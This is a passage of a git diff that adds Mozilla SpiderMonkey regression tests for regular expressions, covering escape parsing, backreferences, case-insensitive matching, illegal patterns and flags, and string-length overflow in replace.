+ printStatus (summary);
+
+ try
+ {
+ expect = 'SyntaxError: invalid range in character class';
+ (new RegExp("[\xDF-\xC7]]", "i")).exec("");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + '(new RegExp("[\xDF-\xC7]]", "i")).exec("")');
+}
diff --git a/js/src/tests/non262/RegExp/regress-429241.js b/js/src/tests/non262/RegExp/regress-429241.js
new file mode 100644
index 0000000000..a4b588fead
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-429241.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var gTestfile = 'regress-429241.js';
+var BUGNUMBER = 429241;
+var summary = '\\x or \\u followed by too few hex digits';
+var r;
+
+reportCompare(
+ "x",
+ (r = /[\x]+/.exec("\\x\0")) && r[0],
+ "Section 1"
+);
+
+reportCompare(
+ "xy",
+ (r = /[\xy]+/.exec("\\xy\0")) && r[0],
+ "Section 2"
+);
+
+reportCompare(
+ "x0",
+ (r = /[\x0]+/.exec("\\x0\0")) && r[0],
+ "Section 3"
+);
+
+reportCompare(
+ "x0y",
+ (r = /[\x0y]+/.exec("\\x0y\0")) && r[0],
+ "Section 4"
+);
+
+reportCompare(
+ "\0",
+ (r = /[\x00]+/.exec("\\x\0")) && r[0],
+ "Section 5"
+);
+
+reportCompare(
+ "0\0",
+ (r = /[\x000]+/.exec("0\0")) && r[0],
+ "Section 6"
+);
+
+reportCompare(
+ "x",
+ (r = /^\x$/.exec("x")) && r[0],
+ "Section 7"
+);
+
+reportCompare(
+ "xy",
+ (r = /^\xy$/.exec("xy")) && r[0],
+ "Section 8"
+);
+
+reportCompare(
+ "x0",
+ (r = /^\x0$/.exec("x0")) && r[0],
+ "Section 9"
+);
+
+reportCompare(
+ "x0y",
+ (r = /^\x0y$/.exec("x0y")) && r[0],
+ "Section 10"
+);
+
+reportCompare(
+ null,
+ /^\x00$/.exec("\0" + "0"),
+ "Section 11"
+);
+
+reportCompare(
+ "\0" + "0",
+ (r = /^\x000$/.exec("\0" + "0")) && r[0],
+ "Section 12"
+);
+
+reportCompare(
+ "u",
+ (r = /[\u]+/.exec("\\u\0")) && r[0],
+ "Section 13"
+);
+
+reportCompare(
+ "uy",
+ (r = /[\uy]+/.exec("\\uy\0")) && r[0],
+ "Section 14"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u0]+/.exec("\\u0\0")) && r[0],
+ "Section 15"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u00]+/.exec("\\u0\0")) && r[0],
+ "Section 16"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u000]+/.exec("\\u0\0")) && r[0],
+ "Section 17"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u0y]+/.exec("\\u0y\0")) && r[0],
+ "Section 18"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u00y]+/.exec("\\u0y\0")) && r[0],
+ "Section 19"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u000y]+/.exec("\\u0y\0")) && r[0],
+ "Section 20"
+);
+
+reportCompare(
+ "\0",
+ (r = /[\u0000]+/.exec("\\u\0")) && r[0],
+ "Section 21"
+);
+
+reportCompare(
+ "0\0",
+ (r = /[\u00000]+/.exec("0\0")) && r[0],
+ "Section 22"
+);
+
+reportCompare(
+ "u",
+ (r = /^\u$/.exec("u")) && r[0],
+ "Section 23"
+);
+
+reportCompare(
+ "uy",
+ (r = /^\uy$/.exec("uy")) && r[0],
+ "Section 24"
+);
+
+reportCompare(
+ "u0",
+ (r = /^\u0$/.exec("u0")) && r[0],
+ "Section 25"
+);
+
+reportCompare(
+ "u00",
+ (r = /^\u00$/.exec("u00")) && r[0],
+ "Section 26"
+);
+
+reportCompare(
+ "u000",
+ (r = /^\u000$/.exec("u000")) && r[0],
+ "Section 27"
+);
+
+reportCompare(
+ "u0y",
+ (r = /^\u0y$/.exec("u0y")) && r[0],
+ "Section 28"
+);
+
+reportCompare(
+ "u00y",
+ (r = /^\u00y$/.exec("u00y")) && r[0],
+ "Section 29"
+);
+
+reportCompare(
+ "u000y",
+ (r = /^\u000y$/.exec("u000y")) && r[0],
+ "Section 30"
+);
+
+reportCompare(
+ null,
+ /^\u0000$/.exec("\0" + "0"),
+ "Section 31"
+);
+
+reportCompare(
+ "\0" + "0",
+ (r = /^\u00000$/.exec("\0" + "0")) && r[0],
+ "Section 32"
+);
diff --git a/js/src/tests/non262/RegExp/regress-436700.js b/js/src/tests/non262/RegExp/regress-436700.js
new file mode 100644
index 0000000000..f5991cdae8
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-436700.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 436700;
+var summary = 'Do not assert: 1 <= num && num <= 0x10000';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ /\2147483648/.exec(String.fromCharCode(140) + "7483648").toString();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-465862.js b/js/src/tests/non262/RegExp/regress-465862.js
new file mode 100644
index 0000000000..cb1cfe10f5
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-465862.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465862;
+var summary = 'Do case-insensitive matching correctly in JIT for non-ASCII-letters';
+
+var i = 0;
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+// Note: we must call the RegExp constructor here instead of using
+// literals. Otherwise, because the regexps are compiled at parse
+// time, they will not be compiled to native code and we will not
+// actually be testing jitted regexps.
+
+
+status = inSection(1);
+string = '@';
+pattern = new RegExp('@', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+status = inSection(2);
+string = '`';
+pattern = new RegExp('`', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+status = inSection(3);
+string = '@';
+pattern = new RegExp('`', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(4);
+string = '`';
+pattern = new RegExp('@', 'i');
+print(string + ' ' + pattern);
+actualmatch = string.match(pattern);
+print('z ' + actualmatch);
+print('`'.match(/@/i));
+expectedmatch = null;
+addThis();
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-57572.js b/js/src/tests/non262/RegExp/regress-57572.js
new file mode 100644
index 0000000000..373f69191b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-57572.js
@@ -0,0 +1,114 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 December 2000
+ *
+ * SUMMARY: Testing regular expressions containing the ? character.
+ * Arose from Bugzilla bug 57572: "RegExp with ? matches incorrectly"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=57572
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 57572;
+var summary = 'Testing regular expressions containing "?"';
+var cnEmptyString = ''; var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /(\S+)?(.*)/;
+string = 'Test this';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Test', ' this'); //single space in front of 'this'
+addThis();
+
+status = inSection(2);
+pattern = /(\S+)? ?(.*)/; //single space between the ? characters
+string= 'Test this';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Test', 'this'); //NO space in front of 'this'
+addThis();
+
+status = inSection(3);
+pattern = /(\S+)?(.*)/;
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', ' phrase, with six - (short) words'); //single space in front of 'phrase'
+addThis();
+
+status = inSection(4);
+pattern = /(\S+)? ?(.*)/; //single space between the ? characters
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', 'phrase, with six - (short) words'); //NO space in front of 'phrase'
+addThis();
+
+
+// let's add an extra back-reference this time - three instead of two -
+status = inSection(5);
+pattern = /(\S+)?( ?)(.*)/; //single space before second ? character
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', cnSingleSpace, 'phrase, with six - (short) words');
+addThis();
+
+status = inSection(6);
+pattern = /^(\S+)?( ?)(B+)$/; //single space before second ? character
+string = 'AAABBB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAABB', cnEmptyString, 'B');
+addThis();
+
+status = inSection(7);
+pattern = /(\S+)?(!?)(.*)/;
+string = 'WOW !!! !!!';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'WOW', cnEmptyString, ' !!! !!!');
+addThis();
+
+status = inSection(8);
+pattern = /(.+)?(!?)(!+)/;
+string = 'WOW !!! !!!';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'WOW !!! !!', cnEmptyString, '!');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-57631.js b/js/src/tests/non262/RegExp/regress-57631.js
new file mode 100644
index 0000000000..eb598d2e7d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-57631.js
@@ -0,0 +1,115 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ * SUMMARY: This test arose from Bugzilla bug 57631:
+ * "RegExp with invalid pattern or invalid flag causes segfault"
+ *
+ * Either error should throw an exception of type SyntaxError,
+ * and we check to see that it does...
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '57631';
+var summary = 'Testing new RegExp(pattern,flag) with illegal pattern or flag';
+var statprefix = 'Testing for error creating illegal RegExp object on pattern ';
+var statsuffix = 'and flag ';
+var cnSUCCESS = 'SyntaxError';
+var cnFAILURE = 'not a SyntaxError';
+var singlequote = "'";
+var i = -1; var j = -1; var s = ''; var f = '';
+var obj = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var legalpatterns = new Array(); var illegalpatterns = new Array();
+var legalflags = new Array(); var illegalflags = new Array();
+
+
+// valid regular expressions to try -
+legalpatterns[0] = '';
+legalpatterns[1] = 'abc';
+legalpatterns[2] = '(.*)(3-1)\s\w';
+legalpatterns[3] = '(.*)(...)\\s\\w';
+legalpatterns[4] = '[^A-Za-z0-9_]';
+legalpatterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// invalid regular expressions to try -
+illegalpatterns[0] = '(?)';
+illegalpatterns[1] = '(a';
+illegalpatterns[2] = '( ]';
+//illegalpatterns[3] = '\d{1,s}';
+
+// valid flags to try -
+legalflags[0] = 'i';
+legalflags[1] = 'g';
+legalflags[2] = 'm';
+legalflags[3] = undefined;
+
+// invalid flags to try -
+illegalflags[0] = 'a';
+illegalflags[1] = 123;
+illegalflags[2] = new RegExp();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testIllegalRegExps(legalpatterns, illegalflags);
+ testIllegalRegExps(illegalpatterns, legalflags);
+ testIllegalRegExps(illegalpatterns, illegalflags);
+}
+
+
+// This function will only be called where all the patterns are illegal, or all the flags
+function testIllegalRegExps(patterns, flags)
+{
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ actual = cnFAILURE;
+ expect = cnSUCCESS;
+
+ try
+ {
+ // This should cause an exception if either s or f is illegal -
+ eval('obj = new RegExp(s, f);');
+ }
+ catch(e)
+ {
+ // We expect to get a SyntaxError - test for this:
+ if (e instanceof SyntaxError)
+ actual = cnSUCCESS;
+ }
+
+ reportCompare(expect, actual, status);
+ }
+ }
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + statsuffix + quote(flag));
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/non262/RegExp/regress-576828.js b/js/src/tests/non262/RegExp/regress-576828.js
new file mode 100644
index 0000000000..45e97dc3b1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-576828.js
@@ -0,0 +1,8 @@
+var re = /(z\1){3}/;
+var str = 'zzz';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['zzz', 'z'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-613820-1.js b/js/src/tests/non262/RegExp/regress-613820-1.js
new file mode 100644
index 0000000000..e5e755b24a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-613820-1.js
@@ -0,0 +1,9 @@
+/* Back reference is actually a forwards reference. */
+var re = /(\2(a)){2}/;
+var str = 'aaa';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['aa', 'a', 'a'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-613820-2.js b/js/src/tests/non262/RegExp/regress-613820-2.js
new file mode 100644
index 0000000000..5db7244ba2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-613820-2.js
@@ -0,0 +1,9 @@
+/* Resetting of inner capture groups across quantified capturing parens. */
+var re = /(?:(f)(o)(o)|(b)(a)(r))*/;
+var str = 'foobar';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['foobar', undefined, undefined, undefined, 'b', 'a', 'r'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-613820-3.js b/js/src/tests/non262/RegExp/regress-613820-3.js
new file mode 100644
index 0000000000..126e838ff2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-613820-3.js
@@ -0,0 +1,9 @@
+/* Capture group reset to undefined during second iteration, so backreference doesn't see prior result. */
+var re = /(?:^(a)|\1(a)|(ab)){2}/;
+var str = 'aab';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['aa', undefined, 'a', undefined], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-617935.js b/js/src/tests/non262/RegExp/regress-617935.js
new file mode 100644
index 0000000000..3764d81b0e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-617935.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell&&(Android||xulRuntime.OS=="WINNT")) silentfail
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Author: Christian Holler <decoder@own-hero.net>
+ */
+
+expectExitCode(0);
+expectExitCode(5);
+
+/* Length of 32 */
+var foo = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+
+/* Make len(foo) 32768 */
+for (i = 0; i < 10; ++i) {
+ foo += foo;
+}
+
+/* Add one "a" to cause overflow later */
+foo += "a";
+
+var bar = "bbbbbbbbbbbbbbbb";
+
+/* Make len(bar) 8192 */
+for (i = 0; i < 9; ++i) {
+ bar += bar;
+}
+
+/*
+ * Resulting string should be
+ * len(foo) * len(bar) = (2**10 * 32 + 1) * 8192 = 268443648
+ * which will be larger than the max string length (2**28, or 268435456).
+ */
+try {
+ foo.replace(/[a]/g, bar);
+} catch (e) {
+ reportCompare(e instanceof InternalError, true, "Internal error due to overallocation is ok.");
+}
+reportCompare(true, true, "No crash occurred.");
+
+print("Tests complete");
diff --git a/js/src/tests/non262/RegExp/regress-6359.js b/js/src/tests/non262/RegExp/regress-6359.js
new file mode 100644
index 0000000000..fae056fa53
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-6359.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: regress-6359.js
+ * Reference: ** replace with bugzilla URL or document reference **
+ * Description: ** replace with description of test **
+ * Author: ** replace with your e-mail address **
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var TITLE = "Regression test for bugzilla # 6359"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=6359"; // Provide URL to bugsplat or bugzilla report
+
+printBugNumber(BUGNUMBER);
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+AddTestCase( '/(a*)b\1+/.exec("baaac").length',
+ 2,
+ /(a*)b\1+/.exec("baaac").length );
+
+AddTestCase( '/(a*)b\1+/.exec("baaac")[0]',
+ "b",
+ /(a*)b\1+/.exec("baaac")[0]);
+
+AddTestCase( '/(a*)b\1+/.exec("baaac")[1]',
+ "",
+ /(a*)b\1+/.exec("baaac")[1]);
+
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/non262/RegExp/regress-67773.js b/js/src/tests/non262/RegExp/regress-67773.js
new file mode 100644
index 0000000000..1df7680d0f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-67773.js
@@ -0,0 +1,175 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 February 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 67773:
+ * "Regular subexpressions followed by + failing to run to completion"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=67773
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69989
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 67773;
+var summary = 'Testing regular subexpressions followed by ? or +\n';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^(\S+)?( ?)(B+)$/; //single space before second ? character
+status = inSection(1);
+string = 'AAABBB AAABBB '; //single space at middle and at end -
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+string = 'AAABBB BBB'; //single space in the middle
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAABBB', cnSingleSpace, 'BBB');
+addThis();
+
+status = inSection(3);
+string = 'AAABBB AAABBB'; //single space in the middle
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /^(A+B)+$/;
+status = inSection(4);
+string = 'AABAAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAB');
+addThis();
+
+status = inSection(5);
+string = 'ABAABAAAAAAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAAAAAB');
+addThis();
+
+status = inSection(6);
+string = 'ABAABAABAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AB');
+addThis();
+
+status = inSection(7);
+string = 'ABAABAABABB';
+actualmatch = string.match(pattern);
+expectedmatch = null; // because string doesn't match at end
+addThis();
+
+
+pattern = /^(A+1)+$/;
+status = inSection(8);
+string = 'AA1AA1';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AA1');
+addThis();
+
+
+pattern = /^(\w+\-)+$/;
+status = inSection(9);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+string = 'bla-';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, string);
+addThis();
+
+status = inSection(11);
+string = 'bla-bla'; // hyphen missing at end -
+actualmatch = string.match(pattern);
+expectedmatch = null; //because string doesn't match at end
+addThis();
+
+status = inSection(12);
+string = 'bla-bla-';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'bla-');
+addThis();
+
+
+pattern = /^(\S+)+(A+)$/;
+status = inSection(13);
+string = 'asdldflkjAAA';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkjAA', 'A');
+addThis();
+
+status = inSection(14);
+string = 'asdldflkj AAA'; // space in middle
+actualmatch = string.match(pattern);
+expectedmatch = null; //because of the space
+addThis();
+
+
+pattern = /^(\S+)+(\d+)$/;
+status = inSection(15);
+string = 'asdldflkj122211';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkj12221', '1');
+addThis();
+
+status = inSection(16);
+string = 'asdldflkj1111111aaa1';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkj1111111aaa', '1');
+addThis();
+
+
+/*
+ * This one comes from Stephen Ostermiller.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69989
+ */
+pattern = /^[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)+$/;
+status = inSection(17);
+string = 'some.host.tld';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '.tld', '.');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-72964.js b/js/src/tests/non262/RegExp/regress-72964.js
new file mode 100644
index 0000000000..70ca502ff1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-72964.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-17
+ *
+ * SUMMARY: Regression test for Bugzilla bug 72964:
+ * "String method for pattern matching failed for Chinese Simplified (GB2312)"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72964
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 72964;
+var summary = 'Testing regular expressions containing non-Latin1 characters';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /[\S]+/;
+// 4 low Unicode chars = Latin1; whole string should match
+status = inSection(1);
+string = '\u00BF\u00CD\u00BB\u00A7';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+// Now put a space in the middle; first half of string should match
+status = inSection(2);
+string = '\u00BF\u00CD \u00BB\u00A7';
+actualmatch = string.match(pattern);
+expectedmatch = Array('\u00BF\u00CD');
+addThis();
+
+
+// 4 high Unicode chars = non-Latin1; whole string should match
+status = inSection(3);
+string = '\u4e00\uac00\u4e03\u4e00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+// Now put a space in the middle; first half of string should match
+status = inSection(4);
+string = '\u4e00\uac00 \u4e03\u4e00';
+actualmatch = string.match(pattern);
+expectedmatch = Array('\u4e00\uac00');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-76683.js b/js/src/tests/non262/RegExp/regress-76683.js
new file mode 100644
index 0000000000..ff839bb0ca
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-76683.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 76683 on Rhino:
+ * "RegExp regression (NullPointerException)"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76683
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 76683;
+var summary = 'Regression test for Bugzilla bug 76683';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Rhino (2001-04-19) crashed on the 3rd regular expression below.
+ * It didn't matter what the string was. No problem in SpiderMonkey -
+ */
+string = 'abc';
+status = inSection(1);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<([\$\w:\.\-]+)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<(tagPattern)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+// This was the one causing a Rhino crash -
+status = inSection(3);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<(tagPattern)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))|(<\/tagPattern[^>]*>)/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-78156.js b/js/src/tests/non262/RegExp/regress-78156.js
new file mode 100644
index 0000000000..01ef647638
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-78156.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
